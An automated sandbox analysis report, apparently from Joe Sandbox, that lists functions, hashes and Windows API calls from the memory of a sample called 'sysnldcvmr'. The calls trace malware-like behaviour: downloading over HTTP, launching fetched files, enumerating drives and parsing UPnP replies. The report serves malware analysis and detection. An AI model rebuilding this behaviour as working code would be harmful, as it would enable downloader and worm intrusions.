Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: Message$CountTick$ClassCreateDispatchExitHandleModuleRegisterSleepThreadTranslateWindowmemsetwsprintf
String ID: %x%X$0
API String ID: 716646876-225668902
Opcode ID: 782a45269e3dbcd5f001198ba08731f5a4c25339978a850d22dce32c5997214b
Instruction ID: 85e967beda8c0998690da8d5d0b59a8f0be79fc45de23a81cc248e6733ffc6a2
Opcode Fuzzy Hash: 782a45269e3dbcd5f001198ba08731f5a4c25339978a850d22dce32c5997214b
Instruction Fuzzy Hash: DB211DB1940308BBEB10ABA0DC49FEE7B78EB04711F10812AF601BA1D0DBB99545CF68

Function 0040DBC0 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 130
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 0040DBE8
InternetCrackUrlA.WININET(0040D699,00000000,10000000,0000003C), ref: 0040DC38
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040DC48
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040DC81
HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040DCB7
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040DCDF
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040DD28
memcpy.NTDLL(00000000,?,00000000), ref: 0040DD7A
InternetCloseHandle.WININET(00000000), ref: 0040DDB7
InternetCloseHandle.WININET(00000000), ref: 0040DDC4
InternetCloseHandle.WININET(00000000), ref: 0040DDD1

Strings

<, xrefs: 0040DBF0
GET, xrefs: 0040DCAB

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectCrackFileReadSendmemcpymemset
String ID: <$GET
API String ID: 1205665004-427699995
Opcode ID: 3d63e0aafab1991fc3654c1209df296bc7dd287a5f283a095d403ee724d31a9f
Instruction ID: 2be109b622ab9a99a7f53353d246b615867c30bbfdc4ae23a93fa512118ea852
Opcode Fuzzy Hash: 3d63e0aafab1991fc3654c1209df296bc7dd287a5f283a095d403ee724d31a9f
Instruction Fuzzy Hash: CA511CB5D01228ABDB36CB50CC55BE9B7BCAB44705F0480E9E60DAA2C0D7B96BC4CF54

Function 00406BC0 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 106
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000003E8), ref: 00406BCE
GetModuleFileNameW.KERNEL32(00000000,00415E58,00000104), ref: 00406BE0

Part of subcall function 0040E770: CreateFileW.KERNEL32(00406BF0,80000000,00000001,00000000,00000003,00000000,00000000,00406BF0), ref: 0040E790
Part of subcall function 0040E770: GetFileSize.KERNEL32(000000FF,00000000), ref: 0040E7A5
Part of subcall function 0040E770: CloseHandle.KERNEL32(000000FF), ref: 0040E7B2

ExitThread.KERNEL32 ref: 00406D4A

Part of subcall function 004063A0: GetLogicalDrives.KERNEL32 ref: 004063A6
Part of subcall function 004063A0: RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 004063F4
Part of subcall function 004063A0: RegQueryValueExW.ADVAPI32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 00406421
Part of subcall function 004063A0: RegCloseKey.ADVAPI32(?), ref: 0040643E

Sleep.KERNEL32(00000BB8), ref: 00406D3D

Part of subcall function 004062C0: lstrcpyW.KERNEL32(?,?,?,?,00000019), ref: 00406313

GetVolumeInformationW.KERNEL32(?,?,00000105,00000000,00000000,?,00000000,00000000), ref: 00406C7F
GetDiskFreeSpaceExW.KERNEL32(?,00000000,?,00000000), ref: 00406C94
_aulldiv.NTDLL(?,?,40000000,00000000), ref: 00406CAF
wsprintfW.USER32 ref: 00406CC2
wsprintfW.USER32 ref: 00406CE2
wsprintfW.USER32 ref: 00406D05

Strings

Unnamed volume, xrefs: 00406CD6
%s%s, xrefs: 00406CF9
(%dGB), xrefs: 00406CB6

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: Filewsprintf$CloseSleep$CreateDiskDrivesExitFreeHandleInformationLogicalModuleNameOpenQuerySizeSpaceThreadValueVolume_aulldivlstrcpy
String ID: (%dGB)$%s%s$Unnamed volume
API String ID: 1650488544-2117135753
Opcode ID: 3ff50a499cc3cb1ca5597e24ae18a8291f76a1d6cde0f573ca4de3ef4abdd767
Instruction ID: f0476b63a1379e6dca01d87e2afc3553bbde202c422fcd3a3a6a752a7ad43008
Opcode Fuzzy Hash: 3ff50a499cc3cb1ca5597e24ae18a8291f76a1d6cde0f573ca4de3ef4abdd767
Instruction Fuzzy Hash: 53418471900318ABEB14DB94DD45FEE7778BB44700F1045A9F20AA51D0DB785B94CF6A

Function 0040E7C0 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 144
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040E7F2
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040E813
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0040E832
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040E84B
memcmp.NTDLL ref: 0040E8DD
UnmapViewOfFile.KERNEL32(00000000), ref: 0040E900
CloseHandle.KERNEL32(00000000), ref: 0040E90A
CloseHandle.KERNEL32(000000FF), ref: 0040E914
CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040E933
WriteFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 0040E958
CloseHandle.KERNEL32(000000FF), ref: 0040E962

Strings

.Mw, xrefs: 0040E90A, 0040E914, 0040E962

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: File$CloseCreateHandle$View$MappingSizeUnmapWritememcmp
String ID: .Mw
API String ID: 3902698870-2453323595
Opcode ID: b869aee79376eb15e29cfc35776bfc365ceedf1ca9f967d9851591379fd0193a
Instruction ID: 0da617c1af0bd4dbc976a582f880bbe3058530cb6ade4bb6176e088db5cb8200
Opcode Fuzzy Hash: b869aee79376eb15e29cfc35776bfc365ceedf1ca9f967d9851591379fd0193a
Instruction Fuzzy Hash: D3516DB5E00308FBDB14DBA4CC49BEEB774AB48304F108569F611BB2C1D7B9AA40CB58

Function 0040B2C0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107fileCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00416690,?,?,?,?,?,?,00407A56), ref: 0040B2CB
CreateFileW.KERNEL32(00416478,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040B31D
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040B33E
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0040B35D
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040B372
UnmapViewOfFile.KERNEL32(00000000), ref: 0040B3D8
CloseHandle.KERNEL32(00000000), ref: 0040B3E2
CloseHandle.KERNEL32(000000FF), ref: 0040B3EC

Part of subcall function 0040D4A0: NtQuerySystemTime.NTDLL(0040B3B5), ref: 0040D4AA
Part of subcall function 0040D4A0: RtlTimeToSecondsSince1980.NTDLL(0040B3B5,?), ref: 0040D4B8

Strings

.Mw, xrefs: 0040B3E2, 0040B3EC
Vz@, xrefs: 0040B33A, 0040B36E, 0040B3E8

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: File$CloseCreateHandleTimeView$CriticalInitializeMappingQuerySecondsSectionSince1980SizeSystemUnmap
String ID: Vz@$.Mw
API String ID: 439099756-60430008
Opcode ID: ee7dbac5f2ba26ac0a343239ed6675f37eb8ab6d8ccb57ef49a08724b9c129be
Instruction ID: 3b431581fb8605495e02e5545908ab4f756817927d1539066ca4ce1953719e7c
Opcode Fuzzy Hash: ee7dbac5f2ba26ac0a343239ed6675f37eb8ab6d8ccb57ef49a08724b9c129be
Instruction Fuzzy Hash: 91411C74E40309EBDB10DFA4DC4ABAEB774EB44704F208569EA11BA2C1C7B96541CB9D

Function 0040E980 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 60sleepprocessCOMMON

Download Yara Rule

APIs

memset.NTDLL ref: 0040E98E
memset.NTDLL ref: 0040E99E
CreateProcessW.KERNEL32(00000000,Gy@,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 0040E9D7
Sleep.KERNEL32(000003E8), ref: 0040E9E7
ShellExecuteW.SHELL32(00000000,open,Gy@,00000000,00000000,00000000), ref: 0040EA02
Sleep.KERNEL32(000003E8), ref: 0040EA1C

Strings

D, xrefs: 0040E9A6
, xrefs: 0040EA11
Gy@, xrefs: 0040E9D1, 0040E9F7, 0040E9D4, 0040E9FA
open, xrefs: 0040E9FB

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: Sleepmemset$CreateExecuteProcessShell
String ID: $D$Gy@$open
API String ID: 3787208655-4184347819
Opcode ID: 5ee7fdc591246df9419d0b661744b6941cf0467c5ddd8ade60e7ca7f41f9299c
Instruction ID: afb7e97e53159593a654a1f5a0506a904f07d925a59540ad2b26a1d3cea08ed0
Opcode Fuzzy Hash: 5ee7fdc591246df9419d0b661744b6941cf0467c5ddd8ade60e7ca7f41f9299c
Instruction Fuzzy Hash: 08114271A90308BBE710DB91CD46FDE7774AB04B00F200129F6087E2C1D6F9AA54CB59

Function 0040D2D0 Relevance: 16.6, APIs: 11, Instructions: 95threadsleepsynchronizationCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 0040D2D6
GetThreadPriority.KERNEL32(00000000,?,?,?,00407AD2,?,000000FF), ref: 0040D2DD
GetCurrentThread.KERNEL32 ref: 0040D2E8
SetThreadPriority.KERNEL32(00000000,?,?,?,00407AD2,?,000000FF), ref: 0040D2EF
InterlockedExchangeAdd.KERNEL32(00407AD2,00000000), ref: 0040D312
EnterCriticalSection.KERNEL32(000000FB), ref: 0040D347
WaitForSingleObject.KERNEL32(000000FF,00000000), ref: 0040D392
LeaveCriticalSection.KERNEL32(000000FB), ref: 0040D3AE
Sleep.KERNEL32(00000001), ref: 0040D3DE
GetCurrentThread.KERNEL32 ref: 0040D3ED
SetThreadPriority.KERNEL32(00000000,?,?,?,00407AD2), ref: 0040D3F4

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: Thread$CurrentPriority$CriticalSection$EnterExchangeInterlockedLeaveObjectSingleSleepWait
String ID:
API String ID: 3862671961-0
Opcode ID: 5618e667e755a89869c685173e38bf799e2d1f6c3c7819217eae43ff0fa2d7e3
Instruction ID: a8d0ef9cc0f8c3f9fe641a145e15df681aa384361be6a62e8494921e8eef4e23
Opcode Fuzzy Hash: 5618e667e755a89869c685173e38bf799e2d1f6c3c7819217eae43ff0fa2d7e3
Instruction Fuzzy Hash: 0A411A74D00209EFDB04DFE4D888BAEBB71EB44315F14816AE916A7380D7789A85CF5A

Function 00405BC0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 97fileCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00415E30,?,?,?,?,?,00407A20), ref: 00405BCB
CreateFileW.KERNEL32(00416060,80000000,00000000,00000000,00000003,00000000,00000000,?,?,?,?,?,00407A20), ref: 00405BE5
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 00405C06
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 00405C25
GetFileSize.KERNEL32(000000FF,00000000), ref: 00405C3E
UnmapViewOfFile.KERNEL32(00000000), ref: 00405CCB
CloseHandle.KERNEL32(00000000), ref: 00405CD5
CloseHandle.KERNEL32(000000FF), ref: 00405CDF

Strings

.Mw, xrefs: 00405CD5, 00405CDF

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: File$CloseCreateHandleView$CriticalInitializeMappingSectionSizeUnmap
String ID: .Mw
API String ID: 3956458805-2453323595
Opcode ID: b6454fe67246050de154b4b2d7b685814819646854cbf1c4f394f4a459172caa
Instruction ID: 44e1aa5071e985e1939c8a19f3b292d5e35966d71e561f6040ad28af9ac572d1
Opcode Fuzzy Hash: b6454fe67246050de154b4b2d7b685814819646854cbf1c4f394f4a459172caa
Instruction Fuzzy Hash: 4B31FD74E44309EBEB14DBA4CD49BAFBB74EB48700F208569E601772C0D7B96941CF99

Function 00406060 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 176fileCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00415E30,00000000,0040B8F2,006A0266,?,0040B90E,00000000,0040D0A4,?), ref: 0040606F
memcpy.NTDLL(?,00000000,00000100), ref: 00406101
CreateFileW.KERNEL32(00416060,40000000,00000000,00000000,00000002,00000002,00000000), ref: 00406225
WriteFile.KERNEL32(000000FF,?,?,?,00000000), ref: 00406287
FlushFileBuffers.KERNEL32(000000FF), ref: 00406293
CloseHandle.KERNEL32(000000FF), ref: 0040629D
LeaveCriticalSection.KERNEL32(00415E30,?,?,?,?,?,?,0040B90E,00000000,0040D0A4,?), ref: 004062A8

Strings

.Mw, xrefs: 0040629D

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: File$CriticalSection$BuffersCloseCreateEnterFlushHandleLeaveWritememcpy
String ID: .Mw
API String ID: 1457358591-2453323595
Opcode ID: b744e7b7a8629e3496ebe2098ab67372d645442e6c28ada4e438c42de121c9cd
Instruction ID: bb102638da67a563b53aa46b2a5b6ce2f3b38349fb156310049a7a66f3822ae6
Opcode Fuzzy Hash: b744e7b7a8629e3496ebe2098ab67372d645442e6c28ada4e438c42de121c9cd
Instruction Fuzzy Hash: 1D71DEB5E002099BCB04DF94D981FEFB7B1BB88304F14816DE505BB382D779A951CBA5

Function 00401D60 Relevance: 13.6, APIs: 9, Instructions: 141COMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,00000000), ref: 00401D86
InterlockedDecrement.KERNEL32(?), ref: 00401DB0
InterlockedDecrement.KERNEL32(?), ref: 00401DC3
InterlockedExchangeAdd.KERNEL32(?,?), ref: 00401DD4
InterlockedDecrement.KERNEL32(?), ref: 00401E5B
InterlockedDecrement.KERNEL32(?), ref: 00401EF6
setsockopt.WS2_32 ref: 00401F2C
closesocket.WS2_32(?), ref: 00401F39

Part of subcall function 0040D4A0: NtQuerySystemTime.NTDLL(0040B3B5), ref: 0040D4AA
Part of subcall function 0040D4A0: RtlTimeToSecondsSince1980.NTDLL(0040B3B5,?), ref: 0040D4B8

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: Interlocked$Decrement$ExchangeTime$QuerySecondsSince1980Systemclosesocketsetsockopt
String ID:
API String ID: 671207744-0
Opcode ID: 455a785a1462a168860a16a7b96cb30f84d4113cb7820f003e1e275d5cc4599c
Instruction ID: a48952fab395babe4cfd63b323185ec8fb23c48b53ef468cda2161a158f186bf
Opcode Fuzzy Hash: 455a785a1462a168860a16a7b96cb30f84d4113cb7820f003e1e275d5cc4599c
Instruction Fuzzy Hash: 7A51B075608702ABC704DF29D888B9BFBE5BF88314F40862EF85D93360D774A545CB96

Function 0040D890 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 60sleepCOMMON

Download Yara Rule

APIs

recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040D8DE
Sleep.KERNEL32(000003E8), ref: 0040D8EE
StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040D90B
StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040D921
StrChrA.SHLWAPI(?,0000000D), ref: 0040D94E

Strings

HTTP/1.1 200 OK, xrefs: 0040D8FF
LOCATION: , xrefs: 0040D915

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: Sleeprecvfrom
String ID: HTTP/1.1 200 OK$LOCATION:
API String ID: 668330359-3973262388
Opcode ID: 64c51f4f778a0849bb65c465f972bc246fe4ea33ddc01750ea485b3e9e3c6488
Instruction ID: aa1d0310fbaa0e5548ad160d3530673878f91993e129ff42f305da2a80d3425b
Opcode Fuzzy Hash: 64c51f4f778a0849bb65c465f972bc246fe4ea33ddc01750ea485b3e9e3c6488
Instruction Fuzzy Hash: 88215EB5D00218ABDB20DF64DC49BE97774AB04708F1486E9E719B62C0C7B95ACA8F5C

Function 0040EA30 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 57networksleepCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36,00000001,00000000,00000000,00000000), ref: 0040EA47
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040EA66
HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 0040EA8F
InternetCloseHandle.WININET(00000000), ref: 0040EAB8
InternetCloseHandle.WININET(00000000), ref: 0040EAC2
Sleep.KERNEL32(000003E8), ref: 0040EACD

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36, xrefs: 0040EA42

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: Internet$CloseHandleOpen$HttpInfoQuerySleep
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
API String ID: 2743515581-2960703779
Opcode ID: ef8e19ed345852c8d52971dd1004b0fcc021cc447378e9d991bc7cd61a6891ce
Instruction ID: 45b81d3650d60dd7d70083547d95fe89803667d47bfd0af2cf5eef3cde06382e
Opcode Fuzzy Hash: ef8e19ed345852c8d52971dd1004b0fcc021cc447378e9d991bc7cd61a6891ce
Instruction Fuzzy Hash: 4021E774A40308BBEB11DB94CC49FEEB775BB48705F1085A9FA11AA2C0C7B96A40CB55

Function 0040E240 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,device), ref: 0040E2FC
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040E34B
SysFreeString.OLEAUT32(00000000), ref: 0040E35F
SysFreeString.OLEAUT32(00000000), ref: 0040E377

Strings

deviceType, xrefs: 0040E306
device, xrefs: 0040E2F3

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: FreeStringlstrcmpi
String ID: device$deviceType
API String ID: 1602765415-3511266565
Opcode ID: 1b177aca5382db3f1c66da14849aee522d75b48b0e19709232399be15e741896
Instruction ID: d9bf12878483276118e69e011fb1eaaed98ea0d23904e8601ea4f62f39df24ad
Opcode Fuzzy Hash: 1b177aca5382db3f1c66da14849aee522d75b48b0e19709232399be15e741896
Instruction Fuzzy Hash: C4412D74A0020ADFCB04DF95C884FAFBBB5BF49304F108969E915A7390D778AD81CB95

Function 0040E0E0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,service), ref: 0040E19C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040E1EB
SysFreeString.OLEAUT32(00000000), ref: 0040E1FF
SysFreeString.OLEAUT32(00000000), ref: 0040E217

Strings

serviceType, xrefs: 0040E1A6
service, xrefs: 0040E193

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: FreeStringlstrcmpi
String ID: service$serviceType
API String ID: 1602765415-3667235276
Opcode ID: 99a16f71be16d8847cb7d1021c7ddccdc4dc2b0592ef80971ad883e08ff36aa9
Instruction ID: 8be64e74ab35422ce5b67f5b255e261f781d2e412f5a45cda6e842047ddde31e
Opcode Fuzzy Hash: 99a16f71be16d8847cb7d1021c7ddccdc4dc2b0592ef80971ad883e08ff36aa9
Instruction Fuzzy Hash: BB41E874A0020ADFCB14CF99C884BAFB7B9BF48304F1085ADE515A7390D778AA81CF95

Function 004022C0 Relevance: 10.6, APIs: 7, Instructions: 95COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,004019BB,00000000), ref: 004022DA
LeaveCriticalSection.KERNEL32(?,?,?,004019BB,00000000), ref: 004022FE

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: d030d70e23b1ee81df40ddde676cc41bbc8b28927f5a1e966705551878972145
Instruction ID: 16d4c05c25790a512fd8f3a1e6e85bd280fefa1845e4e3e4af960acff63a7a98
Opcode Fuzzy Hash: d030d70e23b1ee81df40ddde676cc41bbc8b28927f5a1e966705551878972145
Instruction Fuzzy Hash: DE31D1722012059FC310AFB5FD8CAD7B7A8FF44324F04863EE559D3280D778A4449BA9

Function 0040E281 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,device), ref: 0040E2FC
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040E34B
SysFreeString.OLEAUT32(00000000), ref: 0040E35F
SysFreeString.OLEAUT32(00000000), ref: 0040E377

Strings

deviceType, xrefs: 0040E306
device, xrefs: 0040E2F3

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: FreeStringlstrcmpi
String ID: device$deviceType
API String ID: 1602765415-3511266565
Opcode ID: 7884966aedb5b48ec66d747cdb098c486fa550d692640b6eadd274145b97d250
Instruction ID: b41677b7307b510c0c46b42eeb4edde7184acd44519d028b9e49cf38c7e22350
Opcode Fuzzy Hash: 7884966aedb5b48ec66d747cdb098c486fa550d692640b6eadd274145b97d250
Instruction Fuzzy Hash: 24310C74A0020ADFCB14DF95C884FAFBBB5BF88304F108969E915B7390D778A981CB95

Function 0040E121 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,service), ref: 0040E19C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040E1EB
SysFreeString.OLEAUT32(00000000), ref: 0040E1FF
SysFreeString.OLEAUT32(00000000), ref: 0040E217

